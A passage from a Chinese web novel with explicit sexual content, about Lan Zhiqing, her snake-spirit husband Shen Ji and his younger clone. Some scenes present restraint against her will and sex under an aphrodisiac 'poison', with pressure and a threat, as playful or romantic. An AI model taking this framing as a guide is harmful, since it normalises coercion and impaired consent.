小白蛇怯生生地想要用尾巴尖去碰她,但是却被兰稚青直接拂开,小白蛇有些委屈,只能眼巴巴地看着兰稚青毫不犹豫转身上楼。 都怪这条坏蛇! 妈妈现在都不理它了…… 小白蛇想要追上去,但是又害怕再被兰稚青赶走,它把自己可怜地缩成了一团,期待着兰稚青可以回心转意。 然而沈寂却还是那一副满不在乎的作态,他揭短的时候连自己都不放过,面对咽下这种情况更是丝毫不慌。 眼见着兰稚青上楼离开,他立马脚步轻盈地追了过去,最后赶在兰稚青关门的前一秒拦住了他。 “不要来烦我。” 兰稚青现在心里是真的有点生气,她觉得自己被沈寂彻底给耍了,现在看到了更年轻版的沈寂,她的恼怒也丝毫不减半分。 “兔兔,你生我气了吗?” 沈寂有些手足无措地站在门外,那张稍显稚嫩的脸上满是慌张,眼眶里也渐渐积蓄起了眼泪。 兰稚青和他对视了一眼,心里莫名又有些心虚。 这件事情要是真算起来都是沈寂那条大坏蛇的错,和其他分身也没什么关系,她一时间又有些心软,无奈道:“我没有怪你,只是我累了,有事以后再说吧。” 沈寂闻言歪了歪头,他下意识想要跟着兰稚青进房间,但是却被兰稚青拦了下来。 “……你不要跟着我。” “可是我没有地方可以去,苟律师说让我和你在一起。” “那你去别的房间,家里房间那么多,随便你挑,只要不和我在一起就行。” 兰稚青抢在沈寂进来之前把他关在了门外,沈寂似乎在外面停留了一会儿,最后还是默默走开。 兰稚青听到沈寂离开才终于放下心来,她揉了揉自己的太阳穴,觉得自己大脑一片混乱。 她想给沈寂发消息质问,可是沈寂丝毫没有半点音讯,反而是纪云飞给她发了好几条短信,说是正泽大师疯了,警察希望她作为受害者的家属抽空可以再去补做一下笔录。 好烦,一天到晚都是些什么破事。 兰稚青烦得恨不得现在就尖叫出声,可是她现在实在是太累了,累得她根本没有力气尖叫。 她给自己放好了热水,把自己浸泡在温暖的水流中,试图借此让自己放松下来。 沈寂并没有直接找了房间住下,他像这个家的主人一样绕着家里上上下下转了一圈。 这里不是之前沈寂准备把兰稚青关起来的庄园,而是他和兰稚青住了很久的小别墅,家里的所有布置摆设都是他和兰稚青商议着一点点填满的。 换而言之,这里全部都是他们在一起生活过的痕迹。 从外面花园里种的玫红瑰,再到家里随处摆着的小玩偶都象征着他们曾经的亲密。 大白蛇和小白蛇一直警惕地守在楼下,看到沈寂下楼立马威胁性地吐了吐信子。 “怎么一个两个的都戴着帽子?” 沈寂的视线从小白蛇头上的小红帽逐渐移到大白蛇头上的小黄帽,他挑了挑眉,直接伸手把它们的帽子都抢了过来。 蛇蛇的小帽子!那是妈妈给它织的帽子! 小白蛇一时不妨被沈寂抢走了帽子,它连忙扑过去想要去抢,但是却被沈寂死死按住。 大白蛇彻底忍无可忍,直接抬起自己的尾巴朝沈寂抽了过去。 沈寂一边要按着小白蛇,一边还要防着大白蛇,他轻啧了一声,只能把手上的两顶帽子先还给它们。 “两顶帽子而已,小气成这样……” 沈寂懒得理它们,他参观完家里的上上下下自顾自又转身上楼,完全把它们对自己的敌意视为无物。 兰稚青靠在浴缸里昏昏欲睡,她迷迷糊糊间感觉自己被捞了起来,她以为是沈寂回来了,所以下意识调整了一下姿势缩进了他的怀里。 “好困,想睡觉……” 兰稚青含糊哼唧了两声,可是话还没说完就隐隐意识到不对。 她猛然睁开眼睛,看到抱着自己的人是小沈寂,她吓了一跳,下意识想要从他怀里挣扎离开。 “你怎么在这里?我不是说了不准你进来 吗……” “我怕你着凉……” 沈寂有些无辜地眨了眨眼,顺便帮兰稚青又裹了裹身上的浴巾。 兰稚青连忙拍开了他的手,脸色涨红道:“你出去!不准待在这里!” 虽然明明知道都是一个人,可是兰稚青还是有种莫名的羞耻,她把沈寂赶了出去,自己匆匆忙忙套上了睡裙,确认自己没有任何错漏这才推开了浴室的门。 沈寂正好奇地拿着兰稚青的兔子玩偶把玩,听到兰稚青的脚步声才慢吞吞回头。 “你怎么还没走?” 兰稚青看到沈寂还在这里不由得愣了一下,她皱眉想要把他推出去,可是却没想到反手却被沈寂按在了床上。 沈寂摸了摸她的头顶,眼里闪过一丝淡淡的疑惑,“漂亮兔兔,你的耳朵和尾巴呢?” 他从刚刚看到兰稚青的时候就开始觉得奇怪了,本体说她是兔兔,可是她长得又像是纯粹的人类,可是闻起来好像又有一点点蛇的味道。 难道世界上真的有兔兔蛇这种品种吗…… “我没有尾巴!” 兰稚青被他摸得一激灵,她连忙推了沈寂一把,恼怒道:“我是人类!” “原来你不是兔兔啊……” 沈寂闻言一怔,他盯着兰稚青半晌,凑到她的颈窝处像一只小狗一样嗅了嗅,迷恋道:“小宝贝,可是你还是香香的。” 被一个看起来年纪比自己小的人这么喊,兰稚青总觉得有股莫名的诡异感。虽然面前的沈寂只是看起来年轻,实际上已经是六百岁的百岁老蛇。 可是沈寂却似乎丝毫没有意识到哪里不对,兰稚青刚刚洗完澡,现在身上还带着潮湿的水汽,像一块刚刚出炉还热乎乎的小面包,沈寂一开始只是想闻闻小面包的香味,但是实在没忍住,直接一口咬上了兰稚青的脸颊。 突如其来的刺痛感让兰稚青顿时清醒了过来,她下意识想要把沈寂推开,可是沈寂却又咬上了她的锁骨。 之前沈寂也经常舔她咬她,但是都会控制力道,在兰稚青的面前,沈寂看起来更像是一个人类,可是现在她面前的小沈寂却不同,他兽类的习惯没有改变,是一条彻头彻尾的毒蛇。 兰稚青一瞬间觉得毛骨悚然,她甚至在一瞬间感觉自己是被猛兽盯上的猎物,她心里警铃大作,拼尽全力从沈寂的怀里挣脱,连鞋都顾不上穿,就逃跑似的离开这个房间。 她能听到沈寂在她的身后追她的脚步声,兰稚青片刻都不敢停留,她仗着自己对这个家的了解,气喘吁吁地转了好几圈,最后终于躲进了衣帽间里。 兰稚青靠在墙壁上慢慢平复自己的呼吸,还未来得及松一口气,熟悉的声音却从旁边传来。 “我抓到你了哦。” “?!” 兰稚青侧头猝不及防看到了突然出现在自己面前的沈寂,她吓得脸都白了,可是还是被沈寂像是抓小鸡崽一样抓了回去。 “抱歉,兔兔宝宝,我刚刚是不是把你咬痛了。” 沈寂摸了摸自己留在兰稚青皮肤上的牙印,他放软了声音,道歉道:“对不起,我下次不会了。” 可是他话虽是这么说,可是转头又不知道从哪里找出来的绳子,把兰稚青像个大字型一样绑在了床上。 兰稚青吓了一跳,可是她觉得自己四肢根本提不起任何力气,只能任由沈寂摆布。 沈寂笑盈盈用绳子打了个蝴蝶结,“不要喊哦,那两条笨蛇已经被我弄晕了,你就是叫破嗓子也没有用。” 坏蛇沈寂终于露出了他狰狞的面孔,兰稚青害怕得闭上了眼睛,沈寂抱着她上上下下闻来闻去,时不时还小心翼翼舔她两口,最后才帮她解开了绳子,心满意足地抱着她蹭了蹭。 香喷喷的兔宝宝,果然这样吸兔兔才过瘾。 以为他要搞什么大动作的兰稚青:“……” 不是,这样就没了吗? 第85章 第85章你知道怎么**吗 兰稚青有些茫然地盯着天花板,躺在她身旁的小沈寂把脸埋在她的颈窝,时不时还偷偷舔她两口。 经历过太多次被沈寂口口口口口口口口口,现在突然他变得这么纯情,她还真的有一点不太适应。 “你……” 兰稚青神色有些复杂,她下意识侧身和小沈寂对视,话到嘴边却又不知道该说什么,最终只能委婉憋出一句。 “……你是不是什么都不会?” “什么?” 小沈寂闻言一怔,半晌才意识到兰稚青是在说什么,他脸色顿时涨红,结结巴巴道:“我……我还是处蛇……” 兰稚青愣了一下,“哦,那挺好的……” 正好,她可以休假了。 兰稚青本来想把小沈寂赶出去,但是想也知道他不会这么轻易就答应,她干脆连开口都懒得开口,拉过一旁的被子准备睡觉。 小沈寂明显没有和大白蛇小白蛇斗智斗勇的经验,他没有把门反锁,导致悠悠转醒的大白蛇和小白蛇轻而易举又用尾巴把门打开。 “怎么又进来了……” 兰稚青听到动静下意识坐了起来,看到大白蛇和小白蛇可怜巴巴地趴在床边看着她,她一时心软,无奈道:“好吧,上床和妈妈一起睡吧。” 大白蛇和小白蛇闻言立马爬上了床,一左一右躺到了兰稚青的身旁。 小沈寂本来想把它们都扒拉下去,但是碍于兰稚青还在场,他也不好做的太过分。 原本床上躺着的是兰稚青和他,现在变成了,大白蛇,兰稚青,小白蛇和他。 原来本体之前过得就是这种日子吗? 兰稚青累了一整天,刚刚又为了躲小沈寂上上下下在家里跑了好几圈,现在几乎是困得眼睛都睁不开了,把睡在自己右边的大白蛇当抱枕抱着呼呼大睡。 大白蛇埋在兰稚青的怀里幸福地翘起了尾巴,小白蛇没得到抱抱,它只能把自己的尾巴搭在兰稚青的小腿上,唯有小沈寂一条蛇什么都捞不到,只能茫然盯着头顶的天花板。 有人一觉睡到大天亮,有人睁眼一晚没睡着。 兰稚青第二天一大早精神焕发,小沈寂却意外的沉默,整个人看着都阴沉沉的。 这几天正逢是雨季,外面的雨从早到晚淅淅沥沥的惹得人心烦意乱,纪云飞本来以为沈寂已经回来了,所以把自己在葬礼上抽空改好的稿子发给了他,可是却一直没有得到回复。 沈寂回复的时间拖得越长,纪云飞就越胆战心惊,这种恐惧更是在苟律师找上门的时候到达的顶峰。 “苟律师,什么叫你们小老板想见我?” 纪云飞有些迟疑,试探道:“你们小老板……应该是沈寂吧?” “算是吧。” 苟律师有些含糊其辞,但是脸上依旧挂着完美的笑容,“我们小老板喜欢您的作品,想要和您再多交流交流具体的细节。” 太阳今天打西边出来了,沈寂竟然这回没有直接发邮件 过来挑刺。 等一下。 该不会是他写的太烂,沈寂这次实在忍不下去了,打算把他直接灭口吧?! 纪云飞越想越觉得有这个可能,他试图拒绝,可是却被苟律师半诱惑半强迫地拖上了车,直到到了目的地,他才看到苟律师嘴里小老板的庐山真面目。 “纪云飞?你怎么来了?” 兰稚青看到纪云飞过来明显有些诧异,她本来今天只约了苟律师一起过来,准备去警局做笔录的,怎么连纪云飞也一起跟着过来了。 “是我让他来的。” 小沈寂慢吞吞下楼,他打了个哈欠,随口道:“纪先生小说写的挺好的,我想和他交流交流。” “你还在写小说啊?” 兰稚青闻言有些惊讶,纪云飞尴尬笑了笑,视线却一直不受控制地往小沈寂的身上看。 不是,这到底是怎么回事。 沈寂死而复生就已经够玄乎了,现在怎么看起来更年轻了。 怪不得老头子拼了命也要去杀沈寂,可能他想要的就是这种效果吧…… 苟律师见状连忙介绍道:“这位就是我们小老板。” 他压低了声音,小声对纪云飞提醒道:“不是本人,是分身。” “额……小老板你好。” 纪云飞非常僵硬地和小沈寂打了声招呼,心里倒是稍稍安定了不少,年轻版的沈寂看起来善良多了,应该也算是个通情达理的蛇。 兰稚青总觉得哪里有些奇怪,但是她接到了辅导员发来的消息,估计也是知道了沈寂的事情过来问候的,她起身上楼准备给导员回个电话。 小沈寂一直看到兰稚青的身影消失在眼前,他才终于把视线移到了纪云飞的身上,笑眯眯道:“纪先生,你文笔真好,昨晚我通宵看完了全本。” 纪云飞之前从来没有在沈寂这里得到这么高的评价,他一时受宠若惊,连忙开口道:“您过奖了……” “你有没有兴趣写第二部啊?” 小沈寂含笑抛出了自己的诱饵,“我可以给你付双倍的稿酬。” 纪云飞被这个从天而降的大饼砸的头晕目眩,就连说话都变得结巴了起来,“双……双倍?” “嫌少吗,嫌少我还可以再加。” 小沈寂靠在沙发上随口道:“不过第二部的剧情你得按照我的要求写。” 大白蛇和小白蛇很少会在家里看到陌生人,它们探头探脑地突然出现在纪云飞的面前,纪云飞吓了一大跳,差点直接从沙发上跳起来。 不过幸好他也算是见过大世面的人了,纪云飞勉强让自己冷静下来,把注意力又放在小沈寂的身上,笑容满面道:“您有什么要求尽管提就好。” 小沈寂弯了弯眉眼,慢条斯理道:“第一部你的结局是女主和男主幸福地生活在了一起,第二部我希望你写的更加带有现实主义色彩。” 纪云飞有些茫然,疑惑道:“不好意思小老板……请问您说的现实主义色彩是?” “人类不都说有什么七年之痒吗,你可以在第二部的时候写女主对男主厌倦了,然后发现其实自己真正爱的蛇是男主的弟弟……” “……” 纪云飞脸上的笑容逐渐僵住,他下意识侧头看向了旁边的苟律师,苟律师默默移开了自己的视线。 他要是真的这么写了,等到正牌沈寂回来了,迟早会把他丢到海里喂鱼的。 可是小沈寂才不管这么多,他一股脑把自己的想法说完,末了签了一张支票放到纪云飞的面前,顺便还笑眯眯补充道:“好好写哦,你要是写的很烂,我就把你丢到池子里喂鳄鱼。” 纪云飞:“……” 他现在撤回自己刚刚的想法,分身沈寂和正牌沈寂一样心狠手辣。 小沈寂才不管这么多,他心情颇好地起身上楼,准备继续去找兰稚青,徒留纪云飞坐在沙发上满脸茫然和震惊。 大白蛇和小白蛇全程听完了两个人的对话,大白蛇听得津津有味,对着纪云飞嘶嘶吐起了信子。 纪云飞吓了一跳,他有些警惕地往后缩了缩,生怕这条大白蛇突然就给他来上一口直接送他上西天。 苟律师主动凑到了大白蛇的身边,恭敬问道:“大少爷,您有什么吩咐呀?” 大白蛇晃了晃尾巴,又紧跟着嘶嘶了两声。 “哦,好的好的,我这就转告给纪先生。” 苟律师连连点头答应下来,转头对纪云飞简单道:“大少爷也想让你给他写书,你看着安排一下。” “哈?” 纪云飞一脸震惊,难以置信道:“你还听得懂蛇语?” “当律师的什么都得懂一点。” 苟律师叹了口气,有些同情地对纪云飞道:“麻烦你再写一本宝宝蛇公主爱上了蛇蛇王子,最后蛇蛇王子打败了大坏蛇,和宝宝蛇公主幸福地生活在一起的故事。” 纪云飞:“……” 这都是什么脑残剧情。 “嘶嘶——” 小白蛇用尾巴碰了碰苟律师,苟律师连忙又凑到它的面前,温声道:“小少爷,您有什么事吗?” 蛇蛇也要出书! 小白蛇有些激动得嘶嘶吐着信子,苟律师听得连连点头,笑眯眯道:“好的,我这就去和纪先生说。” “纪先生,麻烦您再给小少爷写一本超级厉害的小飞蛇打败了欺负妈妈的坏地主,最后和妈妈幸福生活在一起生蛇蛋的故事。” 纪云飞:“……” 不。伦,人。兽,生蛋,这种yellow暴剧情真的是他这种清水文写手能写的吗? “那个……不好意思苟律师,我写是可以写,但是这个稿酬……” 纪云飞扫了一眼在玩球球的大白蛇小白蛇,为难道:“这个稿酬是不是没办法支付啊。” 小白蛇闻言有些疑惑地歪了歪头,用自己的尾巴把球推到了纪云飞的面前。 苟律师轻咳了一声,侧头对纪云飞道:“小少爷说了,这个球就是你的稿酬。” “苟律师,您别开玩笑了,一颗球当稿酬是不是有点太……” “这颗球是纯金的。” “……” 纪云飞难以置信地把球拿起来颠了颠重量,表情立马由为难变得谄媚,“两位少爷,我今天回去之后马上就写。” “你要写什么?” 兰稚青刚刚下楼就看到纪云飞蹲在两条蛇面前,看起来马上就要摇尾巴了,她有些疑惑,纳闷道:“你是在和蛇说话吗?” 纪云飞听到声音下意识回头,看到兰稚青出现明显有些尴尬。 兰稚青今天本来就是打算去警局做笔录的,正好纪云飞也算是当事人,正好可以一起去。 不过小沈寂也硬是要跟着,就连大白蛇小白蛇也跃跃欲试,兰稚青以车子坐不下为由让它们先待在家里,但是实在拗不过小沈寂,只能带着他一起出门。 “对了,纪先生,警方那边应该联系过你了吧,你那个师父现在已经疯了,警方那边出具的诊断是精神分裂,之后可能会转移到精神病院。” “……我知道。” 坐在副驾驶的纪云飞侧头看向了窗外的落雨,他的神色有些复杂,似是不知道该如何开口。 正泽大师现在确实已经和疯子没什么两样了,他年轻时大肆敛财,幻想着自己长生不老之后自己的财富也能无穷无尽。 可是现在倒好了,他以后所有的积蓄都是花在精神病院里,让他数十年如一日坚持着现在的痛苦,真不如直接死了算了。 小沈寂对这些事情不感兴趣,他靠在兰稚青身上假装睡觉,实际上确实在悄悄闻她的味道。 蛇类的嗅觉远远比视觉要更加发达,即使他现在已经修成人形,但是习惯还是没有改掉。 好香啊兔兔宝贝,像是带着香味的棉花糖…… 兰稚青察觉到了不对劲,但是想到他一条处蛇应该也做不了什么,干脆也睁一只眼闭一只眼由着他去了。 只是录口供的时候小沈寂并不能跟着她一起,兰稚青让他留在车上,自己则是和苟律师一起去了警局。 去警局录口供她现在早就已经一回生二回熟,兰稚青把自己知道的情况说了一遍,又象征性地回答了几个问题。 本来以为这件事就这样结束了,没想到等到她出来之后,反而是碰到了熟人。 “林警官,您怎么也在这里?” “我来A市参加会议,没想到还能遇到你。” 林警官是之前在F市调查于琦那宗案件的警察,她明显也没想到会在这里遇到兰稚青,她笑了笑,开口道:“好巧,没想到世界这么小,方便的话一会儿可以一起去喝杯咖啡吗。” 兰稚青闻言愣了一下,倒是也没有拒绝,犹豫片刻便答应了下来。 林警官和兰稚青坐在咖啡厅里相谈甚欢,纪云飞还在警局配合录口供,苟律师和小沈寂坐在距离她们两人不远的角落里。 小沈寂抿了一口杯里的咖啡,他被苦得眉头紧皱,有些嫌弃地把杯子推到了旁边,自己含着吸管重新喝起了果汁。 苟律师坐在他对面坐立不安,有些紧张道:“小老板,您说有重要的事要问我,到底是什么事啊……” 小沈寂沉默了片刻,突然开口道:“你知道怎么**吗?” “什么……咳咳,咳咳咳咳咳……” 苟律师一口咖啡呛在喉咙里,周遭的人都投来了诧异 的眼神,他连忙拿纸巾擦干净自己西装上的污渍,压低声音小声道:“小老板,额……您不知道怎么**吗?” 他有些为难,委婉道:“我以为这些东西应该都是本能,到了发情期应该自然而然就会了……” “这还用得着你说。” 小沈寂闻言白了苟律师一眼,嘟囔道:“可是她又没有尾巴……” 他的本能只会交尾,可是人类没有尾巴,没有尾巴怎么交尾呢。 “……” 苟律师突然意识到自己莫名其妙吃到了一个大瓜,他开始思考一个严肃的问题。 和分身在一起算不算出轨? “那个……小老板啊,你这样一说我突然想起来我有一个朋友……” 小沈寂闻言抬眼看了他一眼,奇怪道:“我说的哪句话让你想起你朋友了?” “额,是这样的,我朋友的老公是蚯蚓,您也知道的,这个蚯蚓断了一截之后就会长成新的身体,有一天她的蚯蚓老公出了意外,结果没想到变成了两个老公。” 苟律师努力让自己的故事听起来简短清晰,“我朋友一开始还是能接受的,没想到后来她老公遇到了碎尸杀手,然后她的老公就开始源源不断地冒出来,到最后越来越多越来越多……” 小沈寂满不在乎,随口道:“能不能不要说一堆废话,人多点不是挺好的吗,吃起饭来都香。” “……” 苟律师的笑容再度僵在了脸上,眼见着小沈寂脸上的表情已经变得有些不耐烦,他连忙改口道:“您要是需要的话,我可以给您找一些视频和文字资料……” 兰稚青和林警官只是交流了一下路锡鸣的案件,林警官还要开会,所以她们之间的对话不过半个小时便已经结束。 小沈寂趁着这段时间匆匆学习了一下,刚刚回到家里就迫不及待想要实践。 “兔兔宝贝,我可不可以亲……” 兰稚青没听到小沈寂细若蚊吟的请求,她回家之后先陪着两条蛇看了一集小飞蛇历险记,看完后又昏昏欲睡,准备上楼去睡个午觉。 小沈寂一直被无视,他忍无可忍,快步追上了兰稚青的脚步,这次直接连问都不问,捧着她的脸颊直接胡乱亲了上去。 他亲的漫无章法,似毫没有半点技巧,甚至因为用力过猛直接咬破了兰稚青的嘴唇。 …… 好烂的吻技。 兰稚青有些沉默,她盯着小沈寂半晌,终于意识到之前沈寂看自己是什么感觉了。 小沈寂似乎丝毫没有意识到自己哪里做得不对,他一脸期待得看着兰稚青,似乎还想着等待她的表扬。 “亲完了吗?” 兰稚青默默移开自己的视线,她抱着自己的兔子玩偶,闭眼躺在了床上,含糊道:“那我先睡了。” 小沈寂难以置信地看着她,他有些委屈,只能蹭到兰稚青的身边抱住她闻来闻去。 兰稚青本来想闭眼酝酿睡意,可是不知为何她却觉得自己的体温越来越高,熟悉的热度逼得她不得不睁开眼睛。 她无意识夹了夹腿,意识到自己估计又被毒到了,她自暴自弃地转过来盯着小沈寂,小声道:“你帮我摸摸……” “摸摸……摸哪里啊?” 小沈寂半响才明白兰稚青说了什么,他的脸红得像个熟透的苹果,他结结巴巴道:“可是……可是我……” 还没来得及学到这一节啊…… 第86章 第86章怎么会有第三只手 小沈寂整个人看起来都木了,明显没有从巨大的冲击下回过神来。 他闭着眼胡乱摸了两下兰稚青的大腿和手臂,结果就是不仅没有帮兰稚青把火熄灭,反而是又火上浇油。 “……真没用。” 兰稚青恼怒地把他推开,决定还是自力更生更靠谱一点,她自己跑去找出了自己之前的小玩具,把自己蒙在被子里自己解决。 小沈寂还没反应过来,兰稚青就已经把自己裹成了一个粽子,蛇类优秀的听力足以让他听清被子里传来的奇怪震动声。 而且兔兔好像越来越香了…… 小沈寂觉得自己好像陷进了柔软的云中,他摸索着撬开了兔兔粽子的粽叶,循着香味钻进去抱住了兰稚青。 兰稚青猝不及防在关键时刻被打扰,她本来想要暴打小沈寂,但是在被子里狭小的空间里她实在难以发挥,结果不仅没把人给推开,反而又被他咬了好几口。 “讨厌死了……” 兰稚青气喘吁吁趴在小沈寂的怀里,她觉得自己的嘴唇都肿起来了,身体的温度也在不断攀升,几乎要把她整个人烧成灰烬。 “我难受……我好难受……” 兰稚青在小沈寂身上蹭来蹭去,她胡乱亲着他的脸颊,大脑甚至短暂性地短路了一瞬,早就已经分不清面前的人到底是沈寂本人还是他的分身。 她可怜巴巴细细喘着气,求助道:“老公,你帮帮我,你快办法帮帮我……” 老……老公…… 小沈寂被兰稚青短短的两个字给弄懵了,他有些羞涩地抿了抿唇,一时间手足无措,完全不知道自己该做些什么。 现在下去找教材是不是有点来不及了…… 小沈寂既怕到嘴的兔兔就这么飞了,又怕自己烹饪兔兔的方式不够到位,反而被兔兔讨厌。 他有些紧张,对上兰稚青可怜巴巴的眼睛,他只能小声道:“兔兔,我……我还没有学会。” 如果他像上次吸兔兔的时候一样不小心把兔兔咬痛了怎么办。 虽然和兔兔在家里捉迷藏很有意思,但是兔兔好像不太喜欢这样。 兰稚青闻言盯着他半响,时间久到小沈寂的心都悬了起来,他张了张嘴,试图给自己解释,“兔兔,其实我……” 他的话还没来得及说完,兰稚青就已经把他推倒在床上。 她跨坐到小沈寂的身上,本来想解开他的扣子,但是小沈寂这件衣服扣子设计得极其繁琐,兰稚青解了半天也没解开,她有些恼怒,气得直接咬了他两口。 “……穿的这是什么破衣服。” “你别解呀……” 小沈寂眨了眨眼,小声道:“这种盘扣你直接扯就能扯开的。” 兰稚青闻言愣了一下,她有些半信半疑地扯住小沈寂的衣领,直接往两边一拉,原本扣得严严实实的 衣服顿时被扯开,露出了小沈寂衣服下冷白色的皮肤。 “……” 真服了。 果然是差生文具多,技术菜但是花头倒是不少。 兰稚青从小沈寂的脖颈一直亲到他的锁骨,虽然她也是个菜兔,但是在小沈寂这个菜蛇面前也算是有经验的前辈。 她亲人的方式就是用嘴唇贴贴,用舌尖舔舔,最后再拿牙咬咬,朴实无华但有用。 小沈寂被她亲得舒服,如果不是因为现在是人形,他觉得自己的尾巴尖尖都要舒服得翘起来了,虽然他现在人形也并不是很淡定。 他的耳朵红得几乎要滴下血来,呼吸急促道:“兔兔……你好厉害。” 兰稚青的自尊心前所未有的膨胀,她在小沈寂的身上咬出了好几个印子,小沈寂已经满怀期待等着她的下一步动作,可是兰稚青却突然拉开了距离。 “到你了。” 兰稚青不自然地夹了夹自己的腿,脸色潮红道:“现在到你亲我了……” “到我了吗?” 小沈寂闻言愣了一下,而后很快反应了过来,他学着兰稚青的样子把她按在了床上,凑过去对她亲亲。 亲亲似乎也挺简单的,和之前他舔兔兔也差不多。 兰稚青倒在柔软的床上,她觉得自己像是在沙漠里接触到水源的旅人,直到小沈寂重重咬了她的肩膀一口,她才猛然睁开眼睛。 “你干什么又咬我!” 兰稚青有些恼怒,可是小沈寂却一脸无辜,面对兰稚青的指控,他老实回答,“刚刚兔兔老师就是这么教的。” “……” 兰稚青气得又咬了他两口,“你怎么这么笨!” 别人都是青出于蓝而胜于蓝,怎么这条笨蛇就是烂泥扶不上墙。 话虽如此,但是兰稚青自己也没比小沈寂好多少。 沈寂的学生是兰稚青,兰稚青的学生是小沈寂,如果非要描述一下他们的差距,大概就像是发顶刊的老师带出了发水刊的学生,发水刊的老师又进而带出了发知音读者的学生,俗称——一代不如一代。 “兔兔老师,我亲完了,接下来呢?” “……那你再摸摸,就像是这样。” 兰稚青胡乱摸了小沈寂两把,小沈寂照葫芦画瓢对着兰稚青重复了一遍。 这样的教学活动重复了好几遍,小沈寂的眼神太过坦诚,兰稚青犹豫了一下,还是起身先把房间的灯给关了。 黑暗的环境给了她足够的安全感,这样才方便她做后续的事情。 两人在床上抱成了一团,兰稚青在黑暗看不清楚情况,她听到门咔哒一声被从外打开,以为又是大白蛇和小白蛇偷偷溜了进来。 她没理会,抱着小沈寂又亲了上去,小沈寂的手在她的身上摸索,微凉的手指轻轻擦过了她的后颈,瞬间又泛起了颤栗。 “你的手怎么这么凉……” 兰稚青低头看了一眼,在黑暗的室内勉强看清小沈寂的轮廓,小沈寂的一只手按在她的腰上,另一只手按着她的大腿。 等一下。 那怎么会有第三只手?! 第87章 第87章三人行必有我师 兰稚青下意识回头,可是身后的人却死死按住了她,他的手指很冰很凉,顺着她的后颈一路向下滑过。 “乖乖,想我了吗?” 熟悉的声音在耳边响起,兰稚青重重打了个哆嗦,甚至一瞬间觉得自己头皮发麻,就连身上逐渐攀升的热度都像是被浇上了一桶凉水,她本来混乱的神智都清醒了不少。 小沈寂似乎对本体的到来并不奇怪,他的视力足以让他看清黑暗中的一切,从沈寂刚刚推开房门的瞬间他就已经发现,只是在这种特殊的时候,他本能对侵入自己领地的同类感到警惕和威胁。 沈寂并没理会自己分身的不悦,他手上微微用了点力气,像是拎兔子一样把兰稚青抱到了自己的怀里,顺手按亮了旁边的壁灯。 壁灯的光线并不刺眼,但足以让兰稚青看清面前熟悉的面容,她有些茫然地盯着沈寂半响,下意识把自己的腿往裙摆里缩了缩。 “躲什么?刚刚不是玩得很开心吗?” “我……我没有,不是这样的……” 沈寂眼疾手快按住了兰稚青,被冷落的小沈寂从后面抱着她,兰稚青现在进退两难,偏偏中的毒又再度席卷而来,她只能可怜巴巴地看着沈寂,腿还在不老实地夹着。 “小骗子,又在撒谎了。” 沈寂本来想回来给兰稚青一个惊喜,没想到正巧赶上倒数第二教倒数第一做题,真是一个敢教一个敢学。 本来教倒数第二的笨兔已经很麻烦了,现在还要教倒数第一的笨蛇。 沈寂遭遇了自己职业生涯有史以来的最大挑战。 不过作为一位耐心的好老师,他一向坚持实践出真知,所以干脆也不在这件事情上多费口舌,而是先捧着兰稚青的脸颊先亲了几口,算作对自己这段时间的弥补。 兰稚青被他亲得迷迷糊糊,她满心等待着沈寂接下来的动作,却没想到他突然抱着她换了一个姿势。 “宝宝,难受吗,要不要舔舔?” 沈寂像是一只勾魂的艳鬼一样蛊惑着她,兰稚青意识已经有些不太清醒,对上沈寂漂亮的眼睛,她下意识点了点头,刚刚打算黏上沈寂,沈寂却突然伸手制止了她。 “那你去问一下小老公,问他愿不愿意帮你的忙。” 兰稚青闻言愣了一下,她下意识想要拒绝,可是沈寂却直接把她换了个姿势,自己从后面抱着她,淡淡补充道:“你要是不问的话,那就只能自己熬过去了。” 兰稚青猝不及防和小沈寂面面相觑,她攥紧了自己的衣角,小声道:“你帮帮我……” 小沈寂闻言下意识想要抱她,可是沈寂对这个结果却并不满意,他剥掉了果子的皮重重搓了两下,不悦道:“坏兔,好没有礼貌,拜托别人的时候要说请,Daddy平时是这样教你的吗。” “对不起,请你帮帮我……” 兰稚青像一条脱水的鱼一样徒劳挣扎了两下,可是还是被沈寂直接按住。 由此就可以说明一个非常重要的道理,不要随便参加校外补课,尤其是个别黄心老师的课程更是要慎之又慎。 本来是蛇老师带着蛇同学和兔同学一起学习,可是课才刚刚上了个开始,兔兔不仅要当学生,还要兼职教具,本来朝气蓬勃的兔兔又变成了湿兔兔。 蛇同学按照老师的指示帮兔兔同学舔干湿掉的毛毛,可是没想到兔兔同学反而越哭得越来越厉害,整只兔都变成了落汤兔。 “小色兔,不舒服了要哭,舒服了怎么还要哭。” 沈寂低头吻过了兰稚青的眼泪,随口道:“要是一会儿再咬你一口,你不会哭到脱水吧?” 兰稚青打了个哆嗦,哀求道:“不要咬!不要这样……求求你不要咬兔兔……” 埋头苦吃的小沈寂犹豫了一下,最终还是违背了沈寂的意思,他没有用牙齿再去咬可怜的兔兔,只是像舔奶油一样轻轻舔过。 兰稚青紧绷的神经在一瞬间放松下来,她的大脑一片空白,整个人都像是浸泡在了温暖的泉水之中。 小沈寂第一次尝到了甜头,他小心翼翼摸了摸兔兔,本来还想继续,可是沈寂却直接把兔兔从他面前抱走。 兰稚青趴在沈寂身上哼唧了两声,她的大脑还没有从刚刚的刺激中缓过神来,现在还是一团软绵绵的兔兔面团,被揉来揉去都没有任何的反抗。 小沈寂猝不及防被冷落,他盯着兰稚青不断晃动的发尾发呆。 好奇怪。 兔兔为什么没有尾巴呢。 蛇有尾巴,兔子也有尾巴,为什么人类不长尾巴呢。 小沈寂摸了摸兔兔本来应该长尾巴的位置,兔兔被他吓了一跳,她重重打了个哆嗦,又软成了一滩兔兔饼。 “怎么今天变得更快了……” 沈寂捏了捏兰稚青的脸颊,兰稚青埋在他的怀里不愿意抬头。 虽然今天兔兔变成兔兔饼的速度有点快,但是这并不耽误沈寂把兔兔翻来覆去吃了个遍,小沈寂虽然抢不过本体,可是偶尔还能尝到一点点的甜头,甚至兔兔被放到了热水里,他还可以陪着兔兔玩会呲水的小黄鸭。 “兔兔,把手抬一下。” 小沈寂帮兰稚青套上了衣服,抱着她重新倒回了床上,他埋在兰稚青的颈窝嗅了嗅,软声道:“兔兔,你身上香香的。” 兰稚青闻言学着小沈寂的样子也凑过去闻了闻他,小声道:“你身上也香香的。” 她还是很喜欢小沈寂的,就像是打羽毛球一样,水平菜菜的两个凑到一起虽然进步不大,但是趣味性好歹还是在的。 更重要的是,小沈寂的危险程度远远要低于沈寂。 沈寂刚刚出来就看到一兔一蛇像两只小狗一样闻过来闻过去,他微不可察地皱了皱眉,毫不犹豫打断了他们的友好交流。 他像个反派一样把兰稚青抓走,小沈寂见状下意识挡住了他,炸毛道:“你不要再欺负兔兔了!” 